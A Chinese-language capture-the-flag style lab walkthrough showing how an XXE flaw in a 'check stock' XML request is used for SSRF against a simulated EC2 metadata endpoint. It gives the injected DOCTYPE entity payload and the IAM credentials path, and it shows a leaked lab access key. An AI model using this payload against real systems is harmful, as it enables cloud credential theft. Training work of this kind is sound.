第二关 利用 XXE 执行 SSRF 攻击
这一关就是AWS EC2 元数据服务(IMDS)和 XML 外部实体(XXE)攻击 的结合,目的是通过构造恶意 XML 请求,利用 XXE 漏洞访问 EC2 实例的 IAM 安全凭证
提示:1、靶场具有“检查库存”功能,可解析 XML 输入并返回响应中的任何意外值。
**2、实验室服务器在默认 URL 上运行(模拟的)EC2 元数据终端节点,该 URL 为 http://169.254.169.254/。此终结点可用于检索有关实例的数据,其中一些可能是敏感的。
3、要解决该实验室,请利用 XXE 漏洞执行 SSRF 攻击,从 EC2 元数据端点获取服务器的 IAM 秘密访问密钥。
具体操作:
1、运行burp时,访问产品页面,单击“检查库存”
2、找到触发的库存检查的POST /product/stock数据包,发往repeater
3、在 XML 声明和 stockCheck 元素之间插入以下外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
然后引用外部实体:
将 productId 编号替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据终结点的响应,该响应最初为文件夹名称。
泄露出最初文件夹名称:latest

靶场提示说了从 EC2 元数据端点获取服务器的 IAM 秘密访问密钥,一般来说IAM 角色列表:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
然后引用外部实体:&xxe;
响应中泄露出秘钥: "AccessKeyId" : "ViQq8k22ptQqkpA3Iq6x",

刷新浏览器,靶场过关
